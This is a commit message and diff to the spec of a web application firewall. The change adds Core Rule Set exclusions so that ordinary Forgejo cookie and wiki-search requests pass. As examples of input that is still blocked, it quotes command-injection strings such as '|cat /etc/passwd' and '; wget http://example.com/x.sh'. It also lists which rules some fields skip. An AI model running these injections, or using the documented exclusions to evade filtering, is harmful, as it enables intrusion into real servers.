Core Rule Set: Forgejo's ordinary requests pass by default (closes #342)

Forgejo 17.0.1's recorded requests are in
testdata/forgejo-requests.txt, checked at the defaults.

What Forgejo sends and gitea does not:
- its flash cookie is named flash, which joins gitea_flash among the
  cookies left out;
- its wiki search, whose q skips five rules in forgejo.conf, the
  fifteenth change.

Gaps in gitea's fixes the recording showed: q on the name searches
skips 932250 (ls -la), and the API's package search is one of them.
User and organisation pages, any one-segment path, keep 932250.

Model: opus-5-5

SPEC.md

@@ -84,8 +84,8 @@ never as a time.
       of bans is full.
     - `internal/rules`: reads the rule files at start and again when they
       change, and tells which rules a request matches.
-    - `internal/coreruleset`: the Core Rule Set, with the fourteen changes
-      listed under "Attack detection", as Coraza directives.
+    - `internal/coreruleset`: the Core Rule Set, with the fifteen changes listed
+      under "Attack detection", as Coraza directives.
     - `internal/lookup`: looks clients up through GeoJS or in the lookup
       database.
     - `internal/reputation`: fetches the lists, asks the DNS blocklists and
@@ -681,7 +681,7 @@ files, the limits and the bans still apply to the client that sends it.
 - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
   Coraza directives. An exclusion switches one rule off for some fields or paths
   only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
-  holds an app's own exclusions. The eighth to fourteenth changes below hold
+  holds an app's own exclusions. The eighth to fifteenth changes below hold
   those of the apps they name.
     - `waf` loads the file after `smallwebwaf`'s own setup rules and before the
       Core Rule Set's rules. The Core Rule Set loads its own
@@ -728,10 +728,11 @@ files, the limits and the bans still apply to the client that sends it.
     scanner from an ordinary client. In front of a code forge, registry and git
     clients get `404` and `401` by design, hundreds of times a minute.
 
-`smallwebwaf` changes the Core Rule Set 4.25.0 in fourteen ways. Without them,
-it would refuse ordinary requests to these apps:
+`smallwebwaf` changes the Core Rule Set 4.25.0 in fifteen ways. Without them, it
+would refuse ordinary requests to these apps:
 
 - gitea;
+- Forgejo;
 - WordPress;
 - Drupal;
 - MediaWiki;
@@ -773,22 +774,23 @@ The changes hold in front of every app, and no setting undoes them:
     catch reaches the app, such as the command `|cat /etc/passwd`. Path
     traversal, SQL and script injection, and PHP, Java and Node.js code are
     still refused there. Other parameters keep all three rules. The eighth to
-    fourteenth changes switch some of them off for some fields on the paths of
+    fifteenth changes switch some of them off for some fields on the paths of
     the apps they name. An app that uses one of these parameters as a file on
     the server, or passes it to a shell, must check the value itself. A rule
     file can refuse it instead.
 
-5. Two cookies are left out, and `Referer` keeps fewer rules:
-    - The Core Rule Set reads the request without the `gitea_flash` and
+5. Three cookies are left out, and `Referer` keeps fewer rules:
+    - The Core Rule Set reads the request without the `gitea_flash`, `flash` and
       `redirect_to` cookies. gitea puts a message naming what was just done into
-      `gitea_flash`. It puts into `redirect_to` the page to return to after
-      signing in. The Core Rule Set takes file names in them, such as
-      `package.json`, for attacks. A browser sends such a cookie with every
-      request until gitea replaces it. gitea cannot replace it while those
-      requests are refused, so one refusal would keep the browser out of the
-      whole site. gitea shows the message with any script removed and returns
-      only to its own pages. Every other cookie is read in full. An app that
-      reads a cookie of either name must check it itself.
+      `gitea_flash`, and Forgejo puts it into `flash`. Both put into
+      `redirect_to` the page to return to after signing in. The Core Rule Set
+      takes file names in them, such as `package.json`, for attacks. A browser
+      sends such a cookie with every request until the app replaces it. The app
+      cannot replace it while those requests are refused, so one refusal would
+      keep the browser out of the whole site. gitea and Forgejo show the message
+      with any script removed and return only to their own pages. Every other
+      cookie is read in full. An app that reads a cookie of one of these names
+      must check it itself.
     - `Referer` is not checked for a Unix command given without arguments
       (932340), for Java starting a process (944110) or for a Java class name
       (944130). `Referer` names the page a request comes from, on everything
@@ -817,17 +819,19 @@ The changes hold in front of every app, and no setting undoes them:
       `SELECT * FROM users WHERE` or `../`.
     - `Referer` of a page opened from such a search, for script and SQL
       injection and Java code (941110, 941120, 941160, 942100, 944100).
-    - `q` on gitea's searches for a name, for the names of system files and
-      commands (930120, 932120, 932260). Names such as `.profile` and
-      `python3-app` were refused. gitea searches for the names of:
+    - `q` on gitea's searches for a name, for the lists of system files and
+      command names (930120, 932120, 932250, 932260). Names such as `.profile`
+      and `python3-app`, and the words `ls -la`, were refused. gitea searches
+      for the names of:
         - repositories;
         - users and organisations;
         - branches and tags;
-        - packages.
+        - packages, on its pages and in its API.
 
         A user's or an organisation's page is any path of one segment, so on
-        every such path, on any app, `q` skips these three rules, for example on
-        `/search`.
+        every such path, on any app, `q` skips 930120, 932120 and 932260, for
+        example on `/search`. It keeps 932250 there, so `ls -la` is refused on
+        those pages.
 
         Some of these searches also skip the rule for Java class names (944130),
         which refused `org.apache.commons.logging`.
@@ -1566,6 +1570,22 @@ The changes hold in front of every app, and no setting undoes them:
     `/index.php/`. Elsewhere these fields keep every rule. An app other than
     Nextcloud that serves one of these paths must check these fields itself.
 
+15. On Forgejo's paths, `q` on the search of a wiki skips the rules that refused
+    ordinary Forgejo searches there. Forgejo is a fork of gitea, and the eighth
+    change applies to its requests too. This change holds only what Forgejo
+    sends and gitea does not. `internal/coreruleset/forgejo.conf` lists each
+    rule and the search it refused:
+    - system files (930120), such as `.htaccess`;
+    - Windows commands (932120), such as `powershell`;
+    - shell paths (932160), such as `/bin/sh`;
+    - Unix commands (932250), such as `ls -la`;
+    - command names (932260), such as `python3`.
+
+    `; wget http://example.com/x.sh`, path traversal, and SQL and script
+    injection are still refused there. The path is `/<owner>/<repo>/wiki/search`
+    at the site root. An app other than Forgejo that serves such a path must
+    check `q` itself.
+
 The parameter and cookie names in these changes are matched without regard to
 case, as Coraza matches them.